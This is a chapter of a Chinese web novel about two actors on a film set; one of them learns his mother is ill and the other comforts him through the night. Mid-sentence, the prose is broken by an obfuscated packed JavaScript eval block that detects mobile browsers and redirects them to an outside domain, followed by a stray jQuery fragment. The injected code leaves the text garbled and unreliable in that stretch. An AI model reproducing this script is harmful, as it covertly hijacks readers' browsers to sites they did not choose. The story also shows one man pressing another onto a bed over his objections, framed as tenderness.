斯星燃过了好一会儿才从钟缺身上起来,两个人并排坐着,谁也没多说一句话。


    “说说吧。”叶瑰走进片场里头,看着钟缺,说,“怎么想的?秦溺刚刚都要跟我急眼了。”


    秦溺就站在叶瑰后面,拿着剧本,同样看着钟缺,那样子不像是询问,而是非得要讨个说法。


    “只是觉得,如果我是陈青,那一刻一定不会推开肖伤。”钟缺捏着剧本,他佯装没有注意到一脸复杂地注视着他的斯星燃,对秦溺和叶瑰说道,“他对肖伤不是完全没有感情的,只是因为注定没有结局才不去选择开始。但他也是人,会有情感与冲动。在那样一种情况下,他根本不会去推开肖伤。”


    秦溺听完沉默了一阵。


    叶瑰倒是对他的理解没有什么疑问,她转过头去看向秦溺,问道:“怎么样?能说服你么?”


    尽管她才是能够拍板的总导演,但她还是充分尊重编剧的意愿,如果钟缺这番话无法说服秦溺,她会先让他们讨论出一个结果,再继续进行拍摄。


    片刻之后,秦溺才抬起头,对钟缺说:“你说服我了,但如果是这样的反应,我想之后的床戏也得更改。”


    “怎么改?”钟缺下意识开口问道。


    “按照剧本本来的走向,呈现出来的应该是肖伤半强迫了陈青。其实原本我在构思这一段情节时,就觉得有哪里不太对劲,如今看来,你的想法才是正确的。”秦溺笑了笑,说,“在这场爱情里,你们本来就是共犯。”


    钟缺顿了一下。


    “所以,你是想顺势下去,在接吻之后接上这场床戏?”钟缺思索了一阵,对她道。


    秦溺打了个响指,道:“Bingo。”


    钟缺看向叶瑰,问:“叶导你怎么看?”


    “我觉得OK。”叶瑰说,“只是修改一下逻辑关系,没什么大问题,况且我很喜欢钟缺的理解,那就这样吧。好了,各部门归位,我们拍摄下一条。”


    收工的时候,钟缺并没有直接离开剧组,而是径直往监视器那边走去。


    斯星燃怔愣了一下,还以为叶瑰是有什么事情,便也跟着他过去。


    叶瑰正在收拾东西,见到钟缺与斯星燃时刚把自己的电脑收进背包里。


    “已经下班了,还有什么事情吗?”


    “叶导。”钟缺将唇一抿,片刻后,才说,“我想请你加快一些剧组拍摄进度,我最后这几场戏,如果可以,就尽早拍了吧。”


    叶瑰愣了愣,她还是第一次听见钟缺提出这样的请求。


    “是怎么了吗?”


    钟缺有些勉强地扯了扯嘴角,说:“家里出了点事,得回北京一趟。”


    叶瑰还是第一次听他提起家里的事情,她一眼便看出来钟缺笑容底下的悲伤,知道一定是出了什么大事,多余的话也没问,只答应了下来。


    “可以,回头我跟工作人员这边商量一下,尽量把你的戏份全部调度在这几天。晚上我把最新的安排发给你。”


    “谢谢。”钟缺真心地感谢她。


    说罢,便打算坐车回酒店。


    斯星燃在一旁听了个遍,这才知道钟缺是家里出了事情,他回过头去,看着钟缺渐行渐远的背影,觉得他如今这个模样,像是放置在高高案板上的花瓷瓶,看似坚硬,但实际上只要轻轻地一击,就能将他打成碎片。


    回到酒店的时候,钟缺才将关机了的手机开机。


    他一整天其实都心神不宁,在拍摄时,面对灯光与摄像机,才能勉强地集中注意力,等到戏拍完了,那种难受的感觉便再一次涌上心头,让他不得安生。


    鹤泾昨日同他说今日会将他妈得病的具体情况发过来,他说不清楚自己是什么感觉,既希望能够得到鹤泾的消息,又害怕看到她发过来的消息并非他想看到的。


    于是干脆就把手机关了机。


    只不过逃避根本不是办法,钟缺早就明白这一点,他坐在床上,凝视着地板上的纹路许久,最终还是打开了微信。


    鹤泾已经连续发了好多条消息过来,钟缺呼吸一滞,在做好心理准备之后才点开了这个对话框。


    【鹤泾:基因检测结果出来了,EGFR19突变,阿姨也在配合治疗,刚刚手术了一次】


    【鹤泾:我妈去医院陪她了,过几天等好转一点就可以出院,医生已经给她匹配好了靶向药,叮嘱她要按时吃药,按时复诊,这段时间应该没什么大问题,你不用太着急】


    【鹤泾:还有,阿姨说,她想见你】


    钟缺的手指僵在对话框那里许久。


    半刻钟之后,他才好似解除了封印一般,敲下了回复。


    【-:谢谢,我知道了】


    他回复完就把手机扔到了一边,把灯关了,想强迫自己什么都不想,就这样睡过去。


    但根本睡不着。


    这一整天,他总是会想起以前的日子,想起痛苦的、难过的,还有高兴的、美好的,所有的这些聚集在他的脑海里,就像是强行将针线放进他的大脑之中,不断地让它游移着,刺痛着他,让他快要崩溃掉。


    钟缺在床上翻来覆去很久,猛地起了身,下了床想去外面走走。


    谁知他刚一打开房门,就看见斯星燃站在门外,与他四目相对。


    钟缺愣了一下,说:“你站在这儿做什么?”


    斯星燃本就只是担心钟缺的状态,但又觉得敲门可能会打扰到钟缺,于是干脆站在门外,用耳朵凑在门缝那儿,妄图听见一点里面的动静。


    但他万没想到,自己这偷鸡摸狗的动作,居然被钟缺抓了个正着!


    他梗着脖子,似乎一点儿也不心虚地看着钟缺,说:“我有点担心你,从昨天回来起你的状态就不对劲,今天你跟叶导说的那些话,我也都听见了。”


    钟缺静了静,说:“我没事。”


    “你别自欺欺人还妄图欺我了。”斯星燃一把把他推进屋子里,开了灯后就连带着将门直接关上,“你这个样子跑出来,一看就是又失眠了吧?你骗谁呢你。”


    钟缺本来脑子就乱乱的,被他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313105|167299||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这一推更是懵了,刚想反驳他,就直接被斯星燃压倒在床上,他震惊地看着压在自己身上的男人,连反抗都忘记了。


    “睡觉。”斯星燃把一旁的被子扯过来盖在他身上,接着自己也上了床,关了灯,和昨天一样从后面抱住了钟缺。


    钟缺这才意识到斯星燃又想与昨日一样,抱着他睡觉。


    他挣扎起来,想将斯星燃的手从自己身上弄下去。


    “你放开我。”钟缺说,“你到底想干什么?”


    “别动。”斯星燃的鼻息吹拂在钟缺的耳廓边上,让他整个人都微微颤抖,“你知道我想对你做什么的,不想明天下不来床就安心睡觉。”


    钟缺气极了,道:“斯星燃!”


    “我在。”斯星燃温柔地回应他,“你难过,可是你什么都不愿意告诉我,我也不知道你为什么难过。但这没关系,我就想陪着你。以后只要你伤心难过,我就这样陪着你。”


    这种话钟缺从来没听过。


    他一时间竟然被这话迷昏了头,推拒斯星燃的力气也变轻了下来。


    钟缺不知道斯星燃最近受了什么刺激,这段时间,他总是在对自己说我一直爱你,我会一直陪着你。


    最初的时候,其实钟缺是嗤之以鼻的。


    因为见证过父母之间的爱情从美好到腐烂的样子,他本来就不会再信这种虚无缥缈的话语。


    动听的话谁不会说?说再多,如果真不爱了,那就全成了虚情假意,往后这种话就会成为攻讦对方的刀子,无比精准地往心脏处插,绝对见血。


    可是听久了,谁的理智都没办法控制住内心的动摇。


    就如同今日他对叶瑰做出的解释一样,他和陈青都只是普通人,也有感情,也会心动,也会冲动。


    他怎么可能一直如同一个木头一样,对斯星燃的所作所为无动于衷呢?


    钟缺忽然觉得自己心里像是被分成了两半,一半在叫嚣着推开斯星燃吧,不能够再这样清醒地沉沦下去了,你承担不起那个后果的。你都不能相信自己能够完全地接纳他并永远地爱他,也不相信他能接纳全部的你并且永远爱你,注定短暂注定结束的爱,到底有什么好浪费时间的呢?


    另一半却在对他说,试试吧?谁说这场爱情不会有结果呢?和他在一起不就是一种结果吗?你还想要有什么结果呢?难道等到你老了死了,连与他一点美好的回忆都没有,只有无尽的遗憾才是你想要的那种结果吗?那样你不会感到后悔吗?


    两边吵着闹着,竟然就这么慢慢地把钟缺给吵累了,他的眼皮终于支撑不住地合上,呼吸也逐渐平缓起来。


    斯星燃从背后听着他沉沉的心跳,知道钟缺终于睡过去了。


    他安静地抱了他一会儿,很轻很慢地撑起身子,盯着他的侧脸看了一阵,然后吻过他的脖颈,又吻了吻他的眼睛,他在月光下抱着他,轻轻地将自己的左手手指插进钟缺的左手手指中,十指相扣。


    做完这一切,他才心满意足地闭上了眼睛。


    一夜好梦。